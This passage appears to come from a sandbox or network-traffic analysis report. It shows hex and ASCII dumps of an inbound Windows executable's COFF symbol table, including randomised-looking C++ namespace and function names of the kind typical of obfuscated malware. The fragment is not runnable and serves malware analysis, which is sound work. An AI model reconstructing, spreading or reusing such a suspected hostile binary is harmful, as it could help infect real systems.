2022-07-20 08:32:59 UTC	2570	IN	Data Raw: 00 00 00 00 83 3a 07 00 70 d8 08 00 01 00 00 00 03 01 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 bd 3a 07 00 70 d8 08 00 01 00 20 00 02 00 00 00 00 00 f2 3a 07 00 80 d7 08 00 01 00 00 00 03 01 18 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 32 3b 07 00 80 d7 08 00 01 00 20 00 02 00 00 00 00 00 6d 3b 07 00 f0 75 03 00 01 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 a8 3b 07 00 f0 75 03 00 01 00 20 00 02 00 00 00 00 00 de 3b 07 00 b0 75 03 00 01 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 18 3c 07 00 b0 75 03 00 01 00 20 00 02 00 00 00 00 00 4d 3c 07 00 e0 75 03 00 01 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 Data Ascii: :p:p :2; m;u;u ;u<u M<u
2022-07-20 08:32:59 UTC	2586	IN	Data Raw: 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 65 d1 07 00 54 9c 02 00 04 00 00 00 03 01 38 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 af d1 07 00 8c 9c 02 00 04 00 00 00 03 01 48 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 f9 d1 07 00 d4 9c 02 00 04 00 00 00 03 01 38 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 42 d2 07 00 0c 9d 02 00 04 00 00 00 03 01 38 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 8c d2 07 00 44 9d 02 00 04 00 00 00 03 01 40 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 d0 d2 07 00 84 9d 02 00 04 00 00 00 03 01 44 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 1b d3 07 00 c8 9d 02 00 04 00 00 00 03 01 48 00 00 00 01 00 00 Data Ascii: eT8H8B8D@DH
2022-07-20 08:32:59 UTC	2587	IN	Data Raw: 00 00 3c db 07 00 28 a4 02 00 04 00 00 00 03 01 50 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 be db 07 00 78 a4 02 00 04 00 00 00 03 01 50 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 37 dc 07 00 c8 a4 02 00 04 00 00 00 03 01 4c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 bc dc 07 00 14 a5 02 00 04 00 00 00 03 01 5c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 0a dd 07 00 70 a5 02 00 04 00 00 00 03 01 54 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 56 dd 07 00 c4 a5 02 00 04 00 00 00 03 01 60 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 cc dd 07 00 24 a6 02 00 04 00 00 00 03 01 38 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 19 Data Ascii: <(PxP7L\pTV`$8
2022-07-20 08:32:59 UTC	2603	IN	Data Raw: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 36 5a 08 00 70 27 06 00 01 00 20 00 02 00 00 00 00 00 ab 5a 08 00 f0 81 0a 00 01 00 00 00 03 01 54 00 00 00 07 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 e0 5a 08 00 f0 81 0a 00 01 00 20 00 02 00 00 00 00 00 10 5b 08 00 b0 82 0a 00 01 00 00 00 03 01 54 00 00 00 07 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 43 5b 08 00 b0 82 0a 00 01 00 20 00 02 00 00 00 00 00 71 5b 08 00 1c 3f 10 00 02 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 8c 5b 08 00 74 ab 00 00 03 00 00 00 03 01 0c 00 00 00 03 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 a5 5b 08 00 b0 85 0a 00 01 00 00 00 03 01 54 00 00 00 07 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 d9 5b 08 00 b0 Data Ascii: 6Zp' ZTZ [TC[ q[?[t[T[
2022-07-20 08:32:59 UTC	2604	IN	Data Raw: 07 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 e0 61 08 00 b0 88 0a 00 01 00 20 00 02 00 00 00 00 00 3c 62 08 00 64 3f 10 00 02 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 85 62 08 00 c4 ac 00 00 03 00 00 00 03 01 0c 00 00 00 03 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 cc 62 08 00 f0 87 0a 00 01 00 00 00 03 01 54 00 00 00 07 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 2d 63 08 00 f0 87 0a 00 01 00 20 00 02 00 00 00 00 00 89 63 08 00 5c 3f 10 00 02 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 d2 63 08 00 ac ac 00 00 03 00 00 00 03 01 0c 00 00 00 03 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 19 64 08 00 70 80 0a 00 01 00 00 00 03 01 54 00 00 00 07 00 00 Data Ascii: a <bd?bbT-c c\?cdpT
2022-07-20 08:32:59 UTC	2620	IN	Data Raw: 00 00 00 00 00 00 02 00 00 00 00 00 00 00 59 ed 08 00 2c f6 02 00 04 00 00 00 03 01 34 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 91 ed 08 00 60 f6 02 00 04 00 00 00 03 01 30 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 c3 ed 08 00 90 f6 02 00 04 00 00 00 03 01 30 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 f9 ed 08 00 c0 f6 02 00 04 00 00 00 03 01 30 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 2d ee 08 00 f0 f6 02 00 04 00 00 00 03 01 30 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 62 ee 08 00 20 f7 02 00 04 00 00 00 03 01 30 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 c2 ee 08 00 50 f7 02 00 04 00 00 00 03 01 30 00 00 00 01 00 00 00 00 00 00 Data Ascii: Y,4`000-0b 0P0
2022-07-20 08:32:59 UTC	2621	IN	Data Raw: 08 00 d8 fd 02 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 c3 f6 08 00 04 fe 02 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 21 f7 08 00 30 fe 02 00 04 00 00 00 03 01 58 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 82 f7 08 00 88 fe 02 00 04 00 00 00 03 01 48 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 f2 f7 08 00 d0 fe 02 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 53 f8 08 00 fc fe 02 00 04 00 00 00 03 01 54 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 b6 f8 08 00 50 ff 02 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 14 f9 08 00 7c Data Ascii: ,,!0XH,STP,\|
2022-07-20 08:32:59 UTC	2637	IN	Data Raw: 03 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 36 9f 09 00 d4 32 03 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 8d 9f 09 00 00 33 03 00 04 00 00 00 03 01 54 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 e6 9f 09 00 54 33 03 00 04 00 00 00 03 01 54 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 3d a0 09 00 a8 33 03 00 04 00 00 00 03 01 54 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 d2 a0 09 00 fc 33 03 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 48 a1 09 00 28 34 03 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 be a1 09 00 54 34 03 00 04 Data Ascii: ,62,3TT3T=3T3,H(4,T4
2022-07-20 08:32:59 UTC	2638	IN	Data Raw: 00 00 00 00 00 00 02 00 00 00 00 00 00 00 16 a9 09 00 dc 39 03 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 69 a9 09 00 08 3a 03 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 bc a9 09 00 34 3a 03 00 04 00 00 00 03 01 54 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 07 aa 09 00 88 3a 03 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 7e aa 09 00 b4 3a 03 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 f6 aa 09 00 10 5c 06 00 01 00 20 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f ab 09 00 b0 38 0a 00 01 00 20 00 02 00 00 00 00 00 24 ab 09 00 34 eb 00 Data Ascii: 9,i:,4:T:,~:,\ 8 $4
2022-07-20 08:32:59 UTC	2654	IN	Data Raw: 01 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 64 61 74 61 00 00 00 c0 29 10 00 02 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 62 73 73 00 00 00 00 50 00 00 00 05 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1d e6 09 00 b0 cd 0a 00 01 00 00 00 03 01 8b 00 00 00 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f e6 09 00 40 fd 06 00 01 00 00 00 03 01 1c 03 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 47 00 00 28 3a 0b 00 01 00 00 00 03 01 bc 01 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e6 09 00 3c ce 0a 00 01 00 00 00 03 01 6b 00 00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 77 e6 09 00 50 f5 06 00 01 00 00 Data Ascii: .data).bssP?@$G(:X<kwP
2022-07-20 08:32:59 UTC	2655	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 ef e9 09 00 20 3e 10 00 02 00 00 00 03 01 38 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 01 00 00 10 62 03 00 04 00 00 00 03 01 cc 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ea 09 00 50 e5 03 00 01 00 20 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 75 ea 09 00 90 e6 03 00 01 00 20 00 02 00 2e 74 65 78 74 00 00 00 00 e5 01 00 01 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 64 61 74 61 00 00 00 c0 29 10 00 02 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 62 73 73 00 00 00 00 50 00 00 00 05 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ca ea 09 00 50 e5 03 00 01 Data Ascii: >8b P u .text.data).bssPP
2022-07-20 08:32:59 UTC	2671	IN	Data Raw: 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 96 60 0a 00 d0 82 07 00 01 00 00 00 03 01 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 60 0a 00 40 82 07 00 01 00 00 00 03 01 2f 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 61 0a 00 10 82 07 00 01 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 61 0a 00 70 82 07 00 01 00 00 00 03 01 2f 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 47 00 00 68 3f 0b 00 01 00 00 00 03 01 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 61 0a 00 a0 83 07 00 01 00 00 00 03 01 1e 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6a 61 0a 00 f0 82 07 00 01 00 00 00 03 Data Ascii: ``@/a,(ap/$Gh?Iaja
2022-07-20 08:32:59 UTC	2672	IN	Data Raw: 03 00 00 00 03 00 00 00 00 00 30 67 0a 00 94 9f 00 00 03 00 00 00 03 00 00 00 00 00 5d 67 0a 00 40 ae 00 00 03 00 00 00 03 00 00 00 00 00 8a 67 0a 00 24 d2 00 00 03 00 00 00 03 00 00 00 00 00 b8 67 0a 00 fc d1 00 00 03 00 00 00 03 00 00 00 00 00 e5 67 0a 00 00 d8 00 00 03 00 00 00 03 01 28 00 00 00 07 00 00 00 00 00 00 00 00 00 03 00 00 00 2e 74 65 78 74 00 00 00 00 e5 01 00 01 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 64 61 74 61 00 00 00 c0 29 10 00 02 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 62 73 73 00 00 00 00 50 00 00 00 05 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 72 64 61 74 61 00 00 a0 88 00 00 03 00 00 00 03 01 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 0g]g@g$gg(.text.data).bssP.rdata
2022-07-20 08:32:59 UTC	2688	IN	Data Raw: 02 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b0 4e 02 00 01 00 00 00 03 01 09 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 64 61 74 61 00 00 00 24 2a 10 00 02 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 62 73 73 00 00 00 00 38 04 00 00 05 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 01 00 00 f8 aa 03 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 66 69 6c 65 00 00 00 69 52 00 00 fe ff 00 00 67 01 77 6d 65 6d 73 65 74 2e 63 00 00 00 00 00 00 00 00 00 5f 77 6d 65 6d 73 65 74 c0 4e 02 00 01 00 20 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 4e 02 00 01 00 00 00 03 01 21 Data Ascii: .textN.data$*.bss8,.fileiRgwmemset.c_wmemsetN .textN!
2022-07-20 08:32:59 UTC	2689	IN	Data Raw: 00 00 03 01 3c 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 64 61 74 61 00 00 00 24 2a 10 00 02 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 62 73 73 00 00 00 00 38 04 00 00 05 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 01 00 00 14 ad 03 00 04 00 00 00 03 01 34 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 66 69 6c 65 00 00 00 a0 52 00 00 fe ff 00 00 67 01 6c 73 65 65 6b 36 34 2e 63 00 00 00 00 00 00 00 00 00 5f 6c 73 65 65 6b 36 34 00 55 02 00 01 00 20 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 55 02 00 01 00 00 00 03 01 05 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 64 61 74 61 00 00 00 24 2a 10 00 02 00 00 00 03 Data Ascii: <.data$.bss84.fileRglseek64.c_lseek64U .textU.data$
2022-07-20 08:32:59 UTC	2705	IN	Data Raw: 2e 69 64 61 74 61 24 34 50 00 00 00 06 00 00 00 03 00 2e 69 64 61 74 61 24 35 24 02 00 00 06 00 00 00 03 00 2e 66 69 6c 65 00 00 00 2b 56 00 00 fe ff 00 00 67 01 66 61 6b 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 90 e6 02 00 01 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 64 61 74 61 00 00 00 50 2a 10 00 02 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 62 73 73 00 00 00 00 e8 0d 00 00 05 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 69 64 61 74 61 24 34 e0 00 00 00 06 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 69 64 61 74 61 24 35 b4 02 00 00 06 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 69 64 Data Ascii: .idata$4P.idata$5$.file+Vgfake.text.dataP*.bss.idata$4.idata$5.id
2022-07-20 08:32:59 UTC	2706	IN	Data Raw: 03 00 2e 69 64 61 74 61 24 35 c8 02 00 00 06 00 00 00 03 00 2e 69 64 61 74 61 24 34 f4 00 00 00 06 00 00 00 03 00 2e 69 64 61 74 61 24 36 f0 06 00 00 06 00 00 00 03 00 2e 74 65 78 74 00 00 00 00 00 00 00 00 00 00 00 03 00 2e 64 61 74 61 00 00 00 50 2a 10 00 02 00 00 00 03 00 2e 62 73 73 00 00 00 00 e8 0d 00 00 05 00 00 00 03 00 2e 69 64 61 74 61 24 37 ec 0b 00 00 06 00 00 00 03 00 2e 69 64 61 74 61 24 35 f0 03 00 00 06 00 00 00 03 00 2e 69 64 61 74 61 24 34 1c 02 00 00 06 00 00 00 03 00 2e 69 64 61 74 61 24 36 f8 09 00 00 06 00 00 00 03 00 2e 74 65 78 74 00 00 00 00 00 00 00 00 00 00 00 03 00 2e 64 61 74 61 00 00 00 50 2a 10 00 02 00 00 00 03 00 2e 62 73 73 00 00 00 00 e8 0d 00 00 05 00 00 00 03 00 2e 69 64 61 74 61 24 37 98 0a 00 00 06 00 00 00 03 00 2e Data Ascii: .idata$5.idata$4.idata$6.text.dataP.bss.idata$7.idata$5.idata$4.idata$6.text.dataP.bss.idata$7.
2022-07-20 08:32:59 UTC	2722	IN	Data Raw: 00 00 8a d3 0a 00 c0 2a 10 00 02 00 00 00 02 00 00 00 00 00 ab d3 0a 00 dc 9c 00 00 03 00 00 00 02 00 00 00 00 00 c4 d3 0a 00 b8 44 10 00 02 00 00 00 02 00 00 00 00 00 e2 d3 0a 00 a8 de 00 00 03 00 00 00 02 00 00 00 00 00 f8 d3 0a 00 44 ab 00 00 03 00 00 00 02 00 00 00 00 00 0e d4 0a 00 20 ba 00 00 03 00 00 00 02 00 00 00 00 00 34 d4 0a 00 38 e4 02 00 01 00 20 00 02 00 00 00 00 00 3e d4 0a 00 00 00 00 00 ff ff 00 00 02 00 5f 5f 63 65 78 69 74 00 28 e5 02 00 01 00 20 00 02 00 00 00 00 00 4d d4 0a 00 d4 3e 10 00 02 00 00 00 02 00 00 00 00 00 73 d4 0a 00 0c 00 00 00 07 00 00 00 02 00 00 00 00 00 85 d4 0a 00 54 3f 10 00 02 00 00 00 02 00 5f 77 72 69 74 65 00 00 d0 e4 02 00 01 00 20 00 02 00 00 00 00 00 c8 d4 0a 00 a0 03 00 00 05 00 00 00 02 00 00 00 00 00 d2 Data Ascii: *DD 48 >__cexit( M>sT?_write
2022-07-20 08:32:59 UTC	2723	IN	Data Raw: 00 00 00 00 4d d9 0a 00 ac eb 00 00 03 00 00 00 02 00 00 00 00 00 8e d9 0a 00 60 c3 00 00 03 00 00 00 02 00 00 00 00 00 bb d9 0a 00 d0 ac 00 00 03 00 00 00 02 00 00 00 00 00 cd d9 0a 00 20 be 00 00 03 00 00 00 02 00 00 00 00 00 18 da 0a 00 5c 9f 00 00 03 00 00 00 02 00 00 00 00 00 3f da 0a 00 c8 03 00 00 06 00 00 00 02 00 00 00 00 00 4f da 0a 00 80 cb 00 00 03 00 00 00 02 00 00 00 00 00 60 da 0a 00 2c 00 00 00 07 00 00 00 02 00 00 00 00 00 72 da 0a 00 f0 dd 00 00 03 00 00 00 02 00 00 00 00 00 8a da 0a 00 e4 bc 00 00 03 00 00 00 02 00 00 00 00 00 a8 da 0a 00 98 9c 00 00 03 00 00 00 02 00 00 00 00 00 bd da 0a 00 d0 3e 10 00 02 00 00 00 02 00 00 00 00 00 e3 da 0a 00 80 ef 00 00 03 00 00 00 02 00 00 00 00 00 02 db 0a 00 10 a4 00 00 03 00 00 00 02 00 00 00 00 Data Ascii: M` \?O`,r>
2022-07-20 08:32:59 UTC	2739	IN	Data Raw: 53 61 49 77 45 45 4f 4e 53 74 31 36 72 65 6d 6f 76 65 5f 72 65 66 65 72 65 6e 63 65 49 54 5f 45 34 74 79 70 65 45 4f 53 33 5f 00 5f 5f 5a 53 74 34 6d 6f 76 65 49 52 53 61 49 77 45 45 4f 4e 53 74 31 36 72 65 6d 6f 76 65 5f 72 65 66 65 72 65 6e 63 65 49 54 5f 45 34 74 79 70 65 45 4f 53 33 5f 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 31 31 5f 4d 5f 69 73 5f 6c 6f 63 61 6c 45 76 00 5f 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 31 31 5f 4d 5f 69 73 5f 6c 6f 63 61 6c 45 76 00 2e 74 65 78 74 24 5f 5a 4e 53 Data Ascii: SaIwEEONSt16remove_referenceIT_E4typeEOS3___ZSt4moveIRSaIwEEONSt16remove_referenceIT_E4typeEOS3_.text$_ZNKSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE11_M_is_localEv__ZNKSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE11_M_is_localEv.text$_ZNS
2022-07-20 08:32:59 UTC	2740	IN	Data Raw: 72 6f 79 45 6a 00 5f 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 31 30 5f 4d 5f 64 65 73 74 72 6f 79 45 6a 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 34 70 6f 69 6e 74 65 72 5f 74 72 61 69 74 73 49 50 63 45 31 30 70 6f 69 6e 74 65 72 5f 74 6f 45 52 63 00 5f 5f 5a 4e 53 74 31 34 70 6f 69 6e 74 65 72 5f 74 72 61 69 74 73 49 50 63 45 31 30 70 6f 69 6e 74 65 72 5f 74 6f 45 52 63 00 2e 74 65 78 74 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 31 36 5f 4d 5f 63 6f 6e 73 74 72 75 63 74 5f 61 75 78 49 50 4b 63 45 45 76 54 5f 53 38 5f 53 74 Data Ascii: royEj__ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE10_M_destroyEj.text$_ZNSt14pointer_traitsIPcE10pointer_toERc__ZNSt14pointer_traitsIPcE10pointer_toERc.text$_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_construct_auxIPKcEEvT_S8_St
2022-07-20 08:32:59 UTC	2756	IN	Data Raw: 4e 37 63 77 6e 62 74 70 79 31 32 6b 63 78 61 77 6b 78 75 66 79 79 69 45 76 00 5f 5f 5a 4e 37 63 77 6e 62 74 70 79 31 39 68 71 6b 6e 73 6a 71 79 65 70 6a 61 6b 75 6e 6b 77 6a 7a 45 62 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 45 64 64 64 62 64 64 69 62 00 5f 5f 5a 4e 37 63 77 6e 62 74 70 79 31 32 70 7a 6b 62 73 71 66 72 67 7a 61 75 45 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 45 62 62 69 53 35 5f 62 69 62 00 5f 5f 5a 4e 37 63 77 6e 62 74 70 79 32 33 64 7a 73 6c 68 61 65 6e 78 67 69 67 69 6d 70 68 77 74 69 74 64 62 6f 45 62 4e 53 74 37 5f Data Ascii: N7cwnbtpy12kcxawkxufyyiEv__ZN7cwnbtpy19hqknsjqyepjakunkwjzEbNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEdddbddib__ZN7cwnbtpy12pzkbsqfrgzauENSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEbbiS5_bib__ZN7cwnbtpy23dzslhaenxgigimphwtitdboEbNSt7_
2022-07-20 08:32:59 UTC	2757	IN	Data Raw: 73 49 63 45 53 61 49 63 45 45 45 53 35 5f 64 00 5f 5f 5a 4e 37 63 77 6e 62 74 70 79 31 33 65 64 6b 6a 72 69 75 70 69 62 7a 6a 6f 45 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 45 53 35 5f 53 35 5f 69 53 35 5f 62 69 69 62 69 00 5f 5f 5a 4e 37 63 77 6e 62 74 70 79 31 34 6f 69 77 63 75 79 72 6f 68 72 6d 67 63 66 45 64 62 62 62 00 5f 5f 5a 4e 37 63 77 6e 62 74 70 79 31 32 6f 73 65 62 63 64 6f 61 61 71 75 79 45 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 45 62 62 00 5f 5f 5a 4e 37 63 77 6e 62 74 70 79 32 33 74 78 71 66 76 79 68 78 66 62 63 74 6b Data Ascii: sIcESaIcEEES5_d__ZN7cwnbtpy13edkjriupibzjoENSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES5_S5_iS5_biibi__ZN7cwnbtpy14oiwcuyrohrmgcfEdbbb__ZN7cwnbtpy12osebcdoaaquyENSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEbb__ZN7cwnbtpy23txqfvyhxfbctk
2022-07-20 08:32:59 UTC	2773	IN	Data Raw: 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 30 74 69 6d 65 5f 70 75 74 5f 63 45 00 5f 5f 5a 4e 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 30 6d 65 73 73 61 67 65 73 5f 63 45 00 5f 5f 5a 4e 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 37 63 74 79 70 65 5f 77 45 00 5f 5f 5a 4e 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 39 63 6f 64 65 63 76 74 5f 77 45 00 5f 5f 5a 4e 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 30 6e 75 6d 70 75 6e 63 74 5f 77 45 00 5f 5f 5a 4e 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 36 6e 75 6d 70 75 6e 63 74 5f 63 61 63 68 65 5f 77 45 00 5f 5f 5a 4e 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 39 6e 75 6d 5f 67 65 74 5f 77 45 00 5f 5f 5a 4e 31 32 5f 47 4c 4f 42 41 4c 5f 